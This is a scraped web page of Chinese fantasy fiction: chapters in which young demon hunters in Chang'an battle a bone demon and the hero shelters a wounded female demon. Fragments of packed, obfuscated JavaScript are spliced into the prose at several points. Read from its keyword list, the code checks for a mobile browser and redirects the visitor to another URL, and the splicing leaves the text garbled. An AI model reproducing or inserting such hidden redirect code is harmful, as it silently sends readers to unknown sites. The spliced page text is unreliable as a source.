p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469009|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 一直以来,胥远期都知道除妖师的使命是什么,所以他向往生,并自认为自己不害怕死。 只是真来到了长安,心中总有一种不真实的感觉,他会想,他会在什么时候死掉,他死前的最后一句话会是什么,他死后的尸体会是完整的吗? 正这样想着,敲门声响起,闻声,胥远期连忙从床上蹦起,一开门看见了端着新衣的执笔人。 执笔人道:“这是按照山河掌门的要求,于求凰楼特制的衣裳。” “这么快,我还以为需要很久。” 这不是寻常的衣裳,衣裳上注入了奇特的香料,平时闻不出,但若是穿衣者身死,便会散发出只有尸蛾才能闻到的气味,以前很多除妖师死在外面都找不到,后来不得已才想出了这个法子,若除妖师死了,守尸人会放出尸蛾,带着他们找到尸体。 每个人衣服的样式都不一样,要么是自己设计的,要么是掌门准备的,这也是为了防止面目全非后,纵使找到了尸体也认不出这人是谁。 像胥远期这件,他只说了他喜欢穿红色,其他的细节则全是掌门一手操办。 指尖轻触,就可知这衣服质感极好,他还以为要再等几天,谁知道不到一天这衣服就送来了。 执笔人走后,他火速换上了衣裳。 他看向桌上的铜镜,镜中人换上了玄红交领劲装,玄色高领衬得肩背挺拔,外罩朱红广袖长袍,衣缘以赤金云纹镶边,暗绣金纹隐于红绸之间,腰间束玄铁鎏金蹀躞带。 乌黑长发,发丝略显凌乱,部分碎发垂落在额前与脸颊旁,倒衬得眉眼轮廓清晰,五官英气又不失柔和。 “嗯……形象不错。”他自恋道。 他将睡乱的头发重新绑好,而后拿过佩剑,回想起执笔人所言,有一白骨所化的妖怪,害人无数。 剑身翻转,少年的眉目被反射的光照亮,显得愈发深邃。 月已西沉,需即刻动身。 临行时,胥远期朝自己认识的几人打了招呼。 只是顾清冉顾长聿这兄妹两似乎闹矛盾了,刚刚来的路上二人就没在一起走,现在二人还是一声不吭的。 转眼间,几人便来到了长安最繁华的集市——栖梧市,凤凰鸣矣,于彼高冈,栖梧市位于长安中心轴线甘棠大道与次轴线漱石廊之间。 所谓夜市千灯照碧云,十二楼合天不夜,三千世界春如海,赶上了正月灯市,街道人头攒动,灯火通明,才子佳人,相约成对,言笑晏晏。 胥远期立于混沌人群中,老远看见初小二站在热闹地人群中,目瞪口呆地自言自语:“……长安真的有妖怪吗?!” 于是他笑着喊:“小初——” 话音夏然而止,一股寒意从背后升起。 “有妖怪。”他声音低沉道。 “什么?”初小二没听清,可刚问出口的一刹,他也心中一惊,“有妖怪?” 胥远期心中瞬间警铃大响。 直觉使然,他回头向人群中看去,一个俊俏男子与他对视后瞬间淹没在人群中。 “别跑!” 他毫不迟疑,立刻追了过去。 男子轻松跑出闹市,胥远期紧追不舍,出了一拐角巷后,那男人不见了。 胥远期气喘吁吁地停在一门漆深黑的棺材铺前,他看了眼檐角晃个不停的悬铃,将门前挂着一盏夜灯取了下来,推门而入。 微弱火光下,少年的眼里满是警惕。 他将灯高高举起,屋内杂乱摆放着十二具漆黑的棺材。 他靠近这些棺材,凄黄光线的投射下,一个棺材的尖角很明显能看出颜色深浅不同。 胥远期用指尖蹭了一下,他眉头一皱,这是干涸的血渍。 “嘭……” 棺材里传来很小的撞击声。 他将长剑握紧,调整出一个适合随时攻击的姿势。 “咣当”一声,他推开了一个棺材板,空的。 他抬眼打量了一下四周,整个店面都阴森森的,空气中萦绕着淡淡的血腥味。 胥远期确信,这里一定是有妖怪的,可能它甚至在看着他,但他就是找不到它。 他的目光落在了另一具棺材上,那是一具看似很寻常的棺材,却让他不自觉咽了口气。 少年轻移步走了过去,他小心翼翼地将灯放在了一旁的棺材上。 少年屏息凝神,左手掌用力一推,在目光落下的瞬间,右手挥到半空的剑凝滞住了。 鬼灯一线,露出桃花面。 躺在棺材中的女子,长着他日思夜想的那张脸。 只一眼,他的梦碎成了现实。 4. 山河玉骨美人目 昏暗的光线下,窄小的棺材里,一面色苍白的女子微微侧躺着。 雪香微透轻纱,宛若海棠醉日之姿,又像月坠花折之态。 女子的呼吸声很浅,白色头纱包裹住头部与肩部,其余的长发如香云般散落在胸前。 白衣状如流沙,腹部染了一摊红血。 她的右手耷拉在伤口之上,白皙修长的手指血迹斑斑。 皓色生瓯面,堪称雪见羞,道一声冰肌玉骨也不见得夸张。 那一瞬,胥远期只觉心脏一滞,大脑一片空白。 他忘了自己为何要来这,忘了这里还有只妖怪。 他的眼中,只剩下眼前之人。 少年的嘴唇微微颤抖,他仓促放下了拿剑的手,另一只手哆哆嗦嗦地伸向棺材之中。 在即将触碰到女子的那一秒,身后突然来了重重一掌将他击打到一旁的地上。 他毫无防备,滚了一圈后,怔怔地坐在地上抬起头,打他的人是简无遗,这也是他第一次在简无遗脸上看见表情。 简无遗语气较重:“发什么愣!” 他再挑眼一看,头顶上方隐有灰尘掉落,原来刚刚一只妖怪扑向了自己。 初小二也赶到了棺材铺前,一进门,他看到坐在地上的胥远期大惊失色:“远期你没事吧!” 胥远期此刻才清醒过来,他慌忙捡起剑站起身,道:“没,没事!” 小初慌忙跑到他身旁,将他前前后后看了一遍,庆幸道:“幸好你没事……万一第一天你就……那才完了……” 说着说着他的眼睛不自觉地被棺材中的女子吸引。 “这……这是……不……这不是人吧?”他支支吾吾地只说出了这样一句话,他很快意识到此言不妥,立马又道,“是妖呀……” 虽然是妖,但美得让他无法形容,小初心想,天上的仙女也不见得比棺材中的女子好看。 “看上面。” 二人絮絮叨叨时,简无遗冷不丁道。 他们抬头,一张嚣张的脸映入眼帘。 屋檐上,一个一半身躯为人形一半身躯为白骨的妖笑道: “你们对我也太不尊重了吧,三个人可喂不饱我哟~” 胥远期放眼望去,他心中奇怪,这分明不是他追的那只妖。 妖族皆貌美,辨识度也极强,所以他确信,他追的不是这只白骨妖。 初小二看着下山以来的第一只妖怪,紧张地有点手抖,目光飘飘忽忽地,最后忽然落在了胥远期手上,他惊呼道:“你的手受伤了!” 胥远期低头一看:“哎呀,在永安时划的,你手上也有呀。” “哦哦,吓死我了。” 正说着话,二人同时察觉到阴沉的目光,开始还当是白骨妖,后来才发现是简无遗。 简无遗立在那里像根柱子一样,他冷漠道:“你们是在聊天吗?” 他们立马摆好姿势,怒视妖怪:“你今天逃不掉了!” 妖怪轻轻挑了一下眉,一只脚倒挂在屋檐上甚是悠闲自得。 三人持剑冲了上去,胥远期手中的刀剑还未触及到妖怪的皮肤,面前仿佛就有一股大风吹过,将几人逼退几米远。 “靠近不了?!” 少年深吸一声,他想起了掌门曾经的话。 “人类于妖,不过是蚍蜉撼树,除妖师拼尽一切所能争取到的实力,不过是妖族的起点,孩子们切勿张狂,等出了山之后,你们才会见到真正的世面。” 那时他还不信,觉得掌门过于夸张,虽然知道前往长安的除妖师大部分撑不过两年,但少年还是心高气傲,如今看来,此妖尚且不是危妖都如此厉害,怪不得门派内训练那般严苛。 三人接二连三地冲上去,刀剑欲刺却都被白骨妖灵活躲过。 以前都是跟木头练,跟铁人练,跟机关练,如今遇到了活灵活现的妖怪,一时竟显得有些生疏。 白骨妖的姿势甚是肆意洒脱,他无聊地翻身跳到了地上来:“哎,你们是新来的吧,遇见我还是挺不公平的。” 妖怪眼角上扬,露出了不怀好意的微笑,他挥手的瞬间,百只白骨所刻成的利刃从袖口/射出,密密麻麻地向三人袭来,几人不断躲闪,后退至门外,将利刃全部挡下,才得以稍歇片刻。 简无遗的手臂被划出了几道血痕,他握住了一只白骨刃,神色微愣地低头看着。 初小二坐倒在地,他看着满地的骨头,惊道:“是人骨!” 胥远期看向这骨刃,不少上面还黏着红血丝与腐肉,这白骨妖不知究竟杀了多少人。 胥远期朝屋内看去,妖怪并没有继续出来打他们,只见他忽然嗅了嗅空气中的味道,而后神色一变,转身向棺材走了过去。 胥远期心头一惊,连忙冲进去,挥起剑便朝白骨妖的头盖骨砍了过去,妖怪回头,那只白骨手直接将剑身抓住,他不断向前,胥远期被逼着向后,地面都发出了咝咝啦啦的摩擦声。 妖怪大笑,满眼的嚣张,他道:“你这种姿态,就该是我妖族的呀,怎么和人类这种卑贱的东西混在一起了?” 少年的鼻尖上渗出了一丝细汗,简无遗与初小二二人及时以刀剑左右夹击,胥远期没有理会他的话,反而趁其分心一脚踹向他的腹部。 妖怪被踢得老远,蜷缩在地上愤怒地嘶吼着。 三人呈现背靠背的姿势,刚刚打了一会儿,大家已找到了手感,胥远期低声道:“妖类虽强,但对伤痛的感知是人的百倍以上,只要他受一点伤,战斗力便会极速下降。” 三人相视一眼,简无遗一剑将棺材板上的灯挑灭,初小二则瞬间将木门关上,整个店面陷入了漆黑之中。 白骨妖愤怒地爬起,他压着嗓子道:“躲猫猫吗?” 他站在原地,动也不动,忽然目光一狠,笑道:“找到了……” 一转身,将冲过来的简无遗击得退后至背靠棺材。 妖怪继续悠悠道:“又找到了……” 他一回头,将从后面冲来的胥远期也甩了几米远。 白骨妖还未嚣张几秒,他脑中一惊:“那个小胖子怎么不见了?” “啊!” 白骨妖猛一抬头,初小二从天而降,他不知何时竟爬到了房梁上,白骨妖始料未及,被他瞬间压在地上,他一屁股把妖怪裸出的一根肋骨活生生坐断了。 初小二捂着屁股蹦了起来:“疼死了!啊啊啊!” 其余两人循着声音连忙跑到他身边集合。 “妖怪呢?” 胥远期看向地面,妖怪一眨眼便不见了。 “吱呀”一声,门响了,一个身影飞速地窜了出去。 三人立刻追赶,胥远期在迈向门槛的那一刻忽然停了下来。 他想起了棺材中的女子。 少年折身而返,他担心引诱他来的妖怪还在这里,可若是现在将女子带走也不是良策。 初小二见胥远期没有跟上,又回去找他,见他为难,虽不理解,但依旧道:“你去追吧,我守在这里,我屁股疼,追也追不上。” “好!”少年拍了拍小初的肩膀,立刻追了出去。 “跑哪去了?” 胥远期跟着来时的足迹,迟迟未见简无遗。 跑出一个巷子后,迎面撞上了荡来荡去的初小一。 “大初!妖怪呢?” 初小一本拿着剑晃来晃去,闻言立正道:“妖怪?没看见呀。” 胥远期便继续向前跑,初小一啥都不知道,看他跑,便也跟着跑。 他们又跑回灯市,不过半个时辰,栖梧市便只剩下除妖师和空荡的花灯长街。 胥远期停下脚步深呼吸几下,而后目光四处张望,定睛一看,桥对面飞速冲来一个身影,是白骨妖拖着断骨发疯似奔向天南桥,后方除了简无遗还多了几个追逐的除妖师。 白骨妖冲势太猛,只见他随手掐住桥面上站着的,一个还未反应过来的除妖师脖子,将其带着一起跳入了水中。 女子在水中扑通着,被灌了好几口水,她大喊:“我不会游泳呀!” 是许裳裳! 看清人的那刻,胥远期突然害怕小飞物的乌鸦嘴成真。 他奔向桥畔,紧张地看着桥下湖水,忽然察觉到少女身旁的水面不太对劲。 只见那一团水下出现了诡异的波纹,一阵又一阵,像是传染病一样散开。 反应过来的其他除妖师大喊道:“小心!” 没等许裳裳扑通几下,水中白骨妖措不及防地冒出了半个头,一半白骨一半人脸,一半水上一半水下。 泡过水后,那仅剩的一半人脸肿胀不已,头上渗透着恶心的绿液,滴答滴答地流在脸上。 眼球几乎已经完全凸出来,阴森森地直勾勾盯着少女,本就不会水的少女看到这张脸更被吓了一大跳,她大喊道:“啊!” “完了……” 远处众人惊慌失措地往水里胡乱砸着东西,他们喊道:“裳裳,快跑!” 胥远期知道跳下去已来不及,但少年纵身一跃,还是不加犹豫地跳入湖中。 他拼命游过去,下一秒,就在白骨妖笑着向许裳裳伸出手时,许裳裳忽然挥舞起一只带着铁链的大圆铁球,速度之快,力气之大,将白骨妖的头瞬间打烂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469010|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所有的声音都夏然而止,在短暂的惊愕之后,爆发出剧烈的欢呼声。 回过神后,许裳裳才发现许多朋友都跳进了水中。 顾清冉已游到她身旁,抓住她的胳膊,语气惊叹中又有几分担忧:“裳裳,你没事吧!你太厉害了!” 少女也对刚刚几秒发生的一切感到意外又惊讶:“我打死了妖怪,我……我还会水了!!” “对对对!”周围的人笑着应和道。 胥远期擦了擦脸上的水,在河面之上,宛若灰烬般的碎片在空中消散不见。 白骨妖魂飞魄散。 “快上岸!冻死人了!” 初小一的声音从胥远期耳后传来,他也跳进了湖中,并且不知道在什么时候游向了胥远期身后。 众人被冻得发抖,纷纷游到了对岸。 虽有些惊魂未定,但难掩初次除妖的喜悦,上了岸后还在对晚赶来的除妖师形容刚刚的场景有多紧迫。 胥远期也随初小一翻上了岸,他用手随意将打湿的乌发向后理了理,浑身湿透后,那张脸更显得神情俊朗,硬朗中还带着清爽之气。 他挂念着棺材铺见到的妖,于是呼了一口气,又跑了起来。 岸上的简无遗敛眸看向胥远期的背影,脑海中闪现出棺材里他匆匆一瞥的女子,他轻道:“是妖?” 他没有去追胥远期,只是很平静地思索着胥远期刚才的反常举动。 一路上胥远期都担忧不已,到了棺材铺时,远远看见小初撅着屁股趴在棺材旁,歪头盯着女妖。 见胥远期来了,他直起身招了招手。 “妖怪抓到了吗?” “对,裳裳把他打死了。” “不愧是裳裳!” 看胥远期走到棺材旁,初小二问道:“刚刚看你犹豫,但不懂你为什么犹豫,你认识她?” 少年答道:“只是梦到过。” 初小二微皱眉头,心中默念:只是……梦到过? 远期将剑放到一旁,动作小心地抱出了女子。 他眸色忧虑地看向女子腹前的一滩血。 他心中想:怎么会受这么重的伤,是白骨妖吗,还是那只妖怪? 女子柔若无骨,身体冷得瘆人。 即使是毫无血色的病弱之态,依旧让人看了一眼就会忘却呼吸。 胥远期知道,她是妖。 妖与人的外在并无太多不同,但身为除妖师,总能敏捷地分辨出眼前的是妖还是人。 他曾做过南柯一梦,梦醒后,什么都不记得了,唯独记得这张脸,只轻轻一瞥便轻而易举地勾走少年的魂魄。 没有任何来由,他要救她,他要带她走。 一阵脚步声传来,胥远期提防地抬头看去,来人是初小一。 “远期,你做什么!”初小一刚迈进棺材铺,低头一看,先惊呼,“妖!” 抬头一看,又困惑:“小初你捂着屁股干啥?” “有一点点疼……” 来不及多问,他又将注意力转向胥远期,胥远期此时是抱着女妖不松手的,这举动一看就不同寻常,他问:“远期你现在是在……” 胥远期直白道:“她一个人躺在棺材里,还受伤了,我想将她带回去。” 初小一:“带回去?你一个除妖师怎么能将一个妖带回去!” “掌门说过,妖分好坏,不可一概论之。” “你认识她?” “不认识……” 初小二小声插嘴:“只是梦到过……” 初小一继续问:“那你怎么知道她是好妖?” “……藏起来就好了,藏到她把伤养好。” 胥远期在答非所问。 大初无奈道:“就算她没做过恶事,但归墟司不只有山河派的人,还有风云派的,风云派的可是见妖就杀呀,就算瞒过了他们,归墟司不还有执笔人吗?你怎么藏?” “可我不想让她一个人留在这里。” 胥远期看着二人,他心里明白,他非要这么做。 胥远期是三人之间最小的,今年不过十九岁,初小一与初小二的年龄是从被掌门捡到的那一天算起的,这样都二十三岁了,虽然三人平常说话也不讲什么礼数,但看到胥远期这副神情,初小一还是会觉得,他像是一个在求助的可怜弟弟。 初小一终究妥协了:“你既这样想,那便这样做吧,但一定得小心,不仅要小心归墟司的其他人,还要小心她,毕竟你对她毫无了解,你梦到过她,并且刚来第一天就遇见了她,这一切都很诡异,说不定她是什么能控梦的妖怪,总之小心就好了……” 5. 山河玉骨美人目2 几人絮絮叨叨地嘱咐了许多。 他们明白,除妖师归根结底还是人。 是人,便和妖不一样,他们没有通天的法力,只能依靠外界的符咒、法器来实现能力的大幅度提升,其余情况,则是凭自身实力与妖怪拼搏。 所以但凡胥远期一个不慎,就会死在女妖的手上。 胥远期对二人的话照单全收,看天色已晚,三人走出了棺材铺。 初小一要向东走,便与二人提前道了别。 初小二与胥远期顺一段路。 他看了一眼胥远期,道:“远期你这衣服与头发这么快就干了。” 胥远期挑了一下眉:“内力深厚。” 小初又看向他怀中抱着的女子,问道:“你在归墟司是一个人住一个院落吗?” 胥远期摇头:“不是。” “旁边是山河派的人?” “也不是。” “那是谁?若是风云派的人,不知根不知底的,迟早会被发现。” 胥远期眉间一皱:“是简无遗。” 他有些担心,因为他觉得此人不好惹。 初小二沉默片刻说道:“简无遗这人应该还不错。” “何以见得?” “当时与白骨妖战斗时,妖怪射出百只利刃,我与他第一日相识,他竟不动声色地帮我挡住了很多招。” 胥远期恍然大悟道:“怪不得我看他受了点伤。” “不过远期,这衣裳真衬你,老远看到你就觉得你在发光,这腰带显得人真精神,你看我,我特意嘱咐掌门给我搞一个宽腰带,方便我吃吃喝喝。” “我看长安的十宝斋生意特别好,等发银子了,我请你吃里面好吃的。” 二人相互打趣了几句,在归墟司前停下了脚步。 胥远期道:“再见啦!” 初小二一边招手一边用嘴型说:“一定要小心!” 二人就此告了别。 胥远期深吸了一口气,小心翼翼地打开了归墟司的大门。 他先探进头小心地看了一圈,没人。 正当他打算进去时,身后冷不丁地传来了声音:“请问,你怎么不进去?” 胥远期猛一回头,他迅速扫了一下他的脸,是他不熟悉的面孔,一看就是风云派的人。 男子像是撞见了什么不好的事一样,有些尴尬地低头看了看他怀中的人:“额……” 胥远期:“额……” “我先进去?”男子说着便从门缝里挤了进去,似乎想赶快逃离现场。 胥远期回过神来:“一个人而已,在可控范围内。” 他又向府内探了探头,没人,进! 他步履轻盈地走向月沉阁。 月沉阁靠西,并且还是西侧十个院落的最西侧。 这十个院落之间以月洞门隔开,白日看别有一番阴晴之美,奈何此刻对胥远期来说,走向月沉阁成了一种挑战。 他每穿过一个院落前都得张望几眼,所幸现在不过二十除妖师住了进来,他们也没有都选了西侧,所以很多院落要么无人,要么只有一扇窗户透着光。 正当他些许松懈时,前方传来了吵架的声音。 先是少女的声音:“哥……你还在生我的气吗?” 而后,一少年的声音冷漠响起:“顾清冉,你把除妖当儿戏吗!” “我只是想……” 胥远期不敢走了,他靠在墙边不说话,想等着两人不吵架了再穿过去。 他侧耳倾听,疑惑:“怎么不说话了?” 胥远期再一瞥,只见顾长聿面无表情地穿过月洞门,身后的少女追着他扯住他的衣袖:“哥,已经没办法了,你就别生气了。” 他躲无可躲,忙将背靠在墙上,企图降低存在感,心中默念:别看我…… 怕什么来什么,顾长聿余光一扫,几人皆不说话了。 “这么不巧?!” 胥远期只能笑着走向他们,他说道:“长聿,清冉,晚上好!” 二人的目光落在胥远期强颜欢笑的脸上,又瞥见他怀中的女妖。 空气沉寂如深海。 谁知此时阁内又传来许裳裳和纪白汐的声音:“别吵了嘛,来都来了,天都黑了,别走远了。” 原来这四人住在一个院子里,许裳裳和纪白汐本是劝架,结果走出来后看见呆愣的胥远期,也突然沉默了。 胥远期保持微笑:“哎呀,吵什么架嘛,没什么事我就先走了~” 随后,他的双脚像是踩了轮子一样快。 他像风一样冲了过去,留下来有些凌乱的四人。 胥远期走后,顾长聿紧缩的眉头又落在了顾清冉脸上,顾清冉“哼”了一声:“你再生气我也生气!” 说罢牵着许裳裳和纪白汐的手就跑回了房间。 她哥就一个人站着,棕黄的头发被夜风吹起又吹落。 总算到了月沉阁,胥远期看了一眼隔壁,隔壁灯没亮,不知是睡了,还是没有回来。 他没有多想,推开了自己的房门。一开门,暖气透人,房中已生好了暖炉,红泥小火炉上,火焰喷溅的姿态如烟花一般迷人。 胥远期用脚向后轻踢了一下,将门带上。 想必是执笔人来过了,因为床上的布置也翻了新。 蚕丝枕,羽绒被,很适合做一场温暖绮梦。 他目光向桌上一瞥,桌上摆放着一盏九枝灯,每个莲花形烛台上都燃起了蜡烛,烛光摇曳,胥远期忽然觉得这不像个房子,更像是一个家。 桌上笔墨纸砚也一并齐全,桌子正中央,摆了一两银子。 回到房间后的除妖师们看着这银子愣神,有人匆匆拿起来掂了掂,有人轻轻一弹满不在乎,有人却小心翼翼地用布包了一层又一层,然后悄悄地放在了抽屉最下面。 胥远期以前就听说过,除妖师是按日发俸禄的,一日一两,他可想都不敢想。 想来皇家花费了这么多经费在除妖师身上,两大门派的弟子也才勉强够数,胥远期这一届五十人走了后,门派已不到百人了,也不知等他们死后能撑多久。 不过这都是后话了,不是胥远期该操心的事情。 他掀开被子,小心将怀中女妖抱到床上。 许是错觉,他觉得女子衣裳的血迹似乎变小了很多。 血液凝固后,女子的皮肤好像与白衣黏在了一起,他轻轻掀起一块伤口上的布,床上的女子弯眉轻颦,第一次对外界有了反应。 可胥远期却不敢乱动了。 犹豫了片刻,他将火炉推得离床更近了些,而后拿起桌上的银子便出了门。 亥时,夜已深,正月十五,今日冷得不像话,他不确信外面的店铺是否还开张,他想去碰碰运气,毕竟,这里是长安。 街道上店铺几乎都关了门。 只有一家酒楼开张,酒楼高达九层,匾额上提三字“求凰楼”。 他在少年流浪时,也曾这样抬头看着求凰楼,只是从没有勇气进去过。 这楼的二至八重均作镂空回廊,面积层层递减,栏杆由金丝楠木而制,似是不要钱般承受着风吹日晒。每层皆悬挂数展盏垂绡纱灯,倾泻而下,把月光的风头都抢了去。 第九层四面墙体唯留一扇窗户,水晶为牖,其上加以黄金点缀,雕刻出一凤一凰,栩栩如生。 这般景象,胥远期很难不停留片刻,他站在外面向内扫了一眼,白玉铺地,青金石为桌,台上一出歌舞场,台下众人把酒言欢,喧闹如白日。 再次见到,他跟个土包子一样摇头惊叹道:“真是奢侈。” 站在门枕石上的一迎客女娇娘看见了他,女子几步走下台阶,笑道:“公子深夜一人行,只站在门外张望做什么,进求凰楼听听曲吧?” 胥远期收回目光,一本正经道:“我来买药,不是来听曲的。” 美娇娘笑靥如花:“药?什么药?” “我走了,你这酒楼又不卖药。” 胥远期不再多说了。 那女子笑道:“看公子这话说的,第一次来长安吧,我们这种地方怎么会只卖酒肉饭菜,若我没看错的话,你这衣裳的手艺应该也出自求凰楼。” 胥远期摆手要走。 女子目光中带着几分戏谑:“寻常的药是没有,那在长安哪家店铺都有,若是奇药……全长安只有我们这里有。” “奇药?”胥远期停下了脚步。 “对,可解人间百毒,可愈刀剑之伤。” “你不会骗我吧?” “像你手心的刀伤,用了我们这的奇药不出一天就可愈合,当然,那断手断脚或者中了危海的……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女子带着他向前走,他在后面问道:“求凰楼夜里何时闭门?” “此地从不闭门。” “从不?” 女子看出他心中所想,她停下脚步,轻笑:“长安千年,你可听过一句话,夫帝位可改,唯求凰不衰。” “你们不害怕妖怪来袭吗?” 女子淡淡一笑:“生死由命,万事从他,我们只管醉倒和衣卧,何况,不是所有的血都有资格溅进这里。” 胥远期不再多问。 上了八楼后,女子拿出了一个小盒子,他仔细看了看盒中的药瓶,也看不出什么不同,“这需要多少银子?” “一两就够了。” “什么?” “主人觉得你有眼缘,所以一两就够了。” 胥远期有些摸不着头脑,他再次表示他可以写欠条,以后一定还清,但都被女子拒绝。 他不想欠下情分,但手上着实也没多的钱。 临走时,他的余光瞟到柜子上摆着的一个闪闪发光的小玩意,像是蝴蝶,他看一眼便很是喜欢,但他想,这瓶药店家都没收够钱,若是现在再赊账总归不好,只能不了了之,暂且在心中记得。 少年走在长街上,明月无声,他步履匆匆,鼻尖被冷气冻得有些发红。 二楼上,那个“主人”透过半开的窗户看向飞奔的少年,她嘴中缓缓喊出了他的名字:“胥——远——期?” 她似有些笑意,自语道:“总算长大了……” 少年的身影在颓废的深夜里穿梭,湮墨色的发丝在风中高高扬起。 他就像意外掉入死寂的池水中一粒石子,惊起长安圈圈涟漪自己却未察觉。 走进归墟司,刚冲向月沉阁,他便看见自己的房门是打开的状态。 他暗道:不好! 他立刻冲了过去,只见简无遗正站在他的床边,手中拿着长剑,冷眼看着床上的女子。 他的脸凉薄至极,胥远期进门立刻推了简无遗一掌。 随即喊道:“你做什么!” 简无遗后退半步,他冷静反问道:“你将她带回来了?” 胥远期有些心虚但还是高调问道:“怎么了?” “她是妖。” “说点我不知道的!” “……”简无遗沉默几秒,道,“胥远期,她是妖,你是人,还是短命的除妖师,不管你是不是见色起意带她回来,你要明白,短命人不该去招惹一个妖。” 6. 山河玉骨美人目3 胥远期想反驳,简无遗没给他这个机会,径直与他擦肩而过,走出房门,冷漠地丢下一句:“你的事我无意管,劝你好自为之,希望你们二人不会死在对方的手上。” 胥远期张张嘴,竟被堵的无话可说。 他只能从其他方面发泄怨气:“无意管?那你拿剑做什么?私自进别人房间很不礼貌,若不是我及时回来……” 闻言,简无遗的目光也落在了剑身上,他缄默不言,推开了自己的房门,又无声关上。 胥远期见他离去,连忙来到女子身旁,只是奇怪的是,她的伤竟然愈合了,连衣裳的血也都无影无踪。 他暗道奇怪,可想起这女子是妖,便也不再奇怪。 他将药瓶放在桌上,而后便趴在床边看着昏睡的女子,少年的眼清亮含情,如水波暗涌,荡漾在温柔火光之下。 床上人病恹恹的美,让人沉迷又心疼。 胥远期像乖巧的小狗一般,那双眼逐渐黯淡下来,他在想,自己这般冲动仅仅是为了梦中的一张脸吗? 说实话,他还没见过这般清冷的一张脸。鹅蛋脸,线条柔和流畅,五官精致立体,女子的额头佩戴银色的镂空雕花额饰,两侧有细链向头顶发间延伸,细链上点缀有小珠饰,垂坠的银质流苏正贴合眉心。耳饰也甚是精巧,圆形雕花银片下垂坠多层银质流苏。 她安静地躺在那里,宛若雪山流下的一滴泪。 见色起意?这话太难听了,胥远期更像是身体的本能驱使他做这一切。 看着看着,他又想起简无遗今夜说的话,他确实有些介怀。 “好自为之?” 胥远期轻嗤了一声,自言自语道:“我怎么不好自为之了。” 可说完这话,他嘴唇微抿,显得有点没底气。 他坐在地上,背靠着床边,双手抱在胸前打算就这样睡觉,可身体辗转了片刻,隐隐觉得背后作痛,浑身越来越不得劲。 没办法,他脱去上衣,露出了坚实又不夸张的肌肉,他艰难地扭头看去,瞬间一股无奈涌上心头。 在棺材铺被简无遗打的那个地方已经青紫一片。 他边穿衣服边吐槽着:“故意的吧,这打的比妖怪还重!” 他摇头:“算了,今夜也打了他一掌,扯平了。” 他重新坐下,本想坦然睡觉,可脑中充斥着大量的疑问。 “血衣灭门……灭门之妖也属于危妖吗?” “归墟哀响究竟是什么?” “易世安……四年前死去的,这哀响好像也是几年前传来的,难道与易世安有关吗?” 下山的第一个夜晚,实在难以入睡。 他站起身,又走到书柜前,看见了最新的一本,翻开一看,记载的是今夜的白骨妖,这执笔人的速度倒真是快。 他拿出几本故人记与万妖录,坐在书桌前来回翻看。 天快亮的时候,少年才趴在桌上睡了过去。 而昏睡了一天两夜,云落终于醒来了。 房间里萦绕着温和的暖意,与躺在棺材中的感觉决然不同。 她的眼皮跳动了一下,星眸一睁,露出一双甚是好看的眼睛,如一汪秋水般圆润的杏眼,眼尾微微上挑,但眼下总有着浅浅的红,仿佛藏了很多泪一样,美得让人生怜。 云落坐起身,肢体像有些麻木一般停顿了片刻,似想起了什么,一滴泪迅速地滑落,她浅吸一口气,抬眼看向四周。 “归墟司?” 她心中想,于是挑眼看向门的方向,胥远期趴在门旁边的桌子上睡了过去,她只能看见少年的背影。 不过她好像并不想探究自己为何会在这,只是很快起了身,几步走向出口,伸手拉开木门便向外走去。 胥远期耳边敏锐地察觉到细微的动静,他一抬头,看见了脚步即将迈过门槛的云落。 少年没想到一醒来就看到这一幕,他连忙起身喊道:“姑娘!” 听到这声音,云落的脚步一顿,但仍下意识地向前走了一步,不过仅仅一步,她又停了下来,那几秒钟甚是漫长,她转过身,胥远期那张脸映入她的眼眸。 清风徐来,摇曳美人衣,胥远期察觉到她的目光似乎变了。 但单靠他这虚薄的十九年,他是看不懂这眼神的。 云落先是看着他的脸,然后目光又扫过他的衣饰,胥远期一时也不知该说些什么,双方沉默良久后,云落一言不发,转身要离去,回头的那刹,她的泪如清露,没有任何预兆,空然坠下。 而胥远期恰好看不见。 见她要走,胥远期连追过去,他道:“姑娘你别害怕,我虽是除妖师,但绝不会伤害你,我是看你受伤了才将你带回来……” 不自觉地,他的手竟抓住了云落的手腕。 等对方停下来后,他才意识到此举不妥。 云落轻瞥了一眼他的手,胥远期迅速收了回去,刚想道歉,云落终于开口说道: “你认识我吗?” 她的声音冷若冰霜。胥远期局促地摇了摇头。 见状,云落冷冷落下去一句:“那就不要跟着我。” 她继续走,胥远期不死心,继续追:“这里很危险……” 美人苍白素净的脸上出现一丝愠色:“不要跟着我……” 语气加重了几分,胥远期心里莫名有些难过,于是他停下脚步,声音艰涩道:“你的伤还疼吗?” 他知道自己逾矩了,但奈何他的心好像已经不属于自己了。 想起妖对疼痛的感知能力是人的百倍以上,他还是会担忧。 云落背对着他,他看不见她的神情,云落也没有回答他这个问题,头也不回地离开。 胥远期失落地站着,他懊悔不已,感觉刚刚自己跟疯了似的,表现得一点都不好。 为防止意外,他还是跟了出去,却没再看见云落的身影。 胥远期看了一眼外面,太阳已升起了,估计大家都起来了,若是到了吃饭的时间自己还不在,岂不是显得有几分可疑? 他叹了一口气,一回头,顾清冉、纪白汐、许裳裳三人正在远处偷看。 三人见自己被发现了,瞬间尴尬至极,搓着手摇着头走了过来。 顾清冉:“你这……没事……” 胥远期:“你们……“ 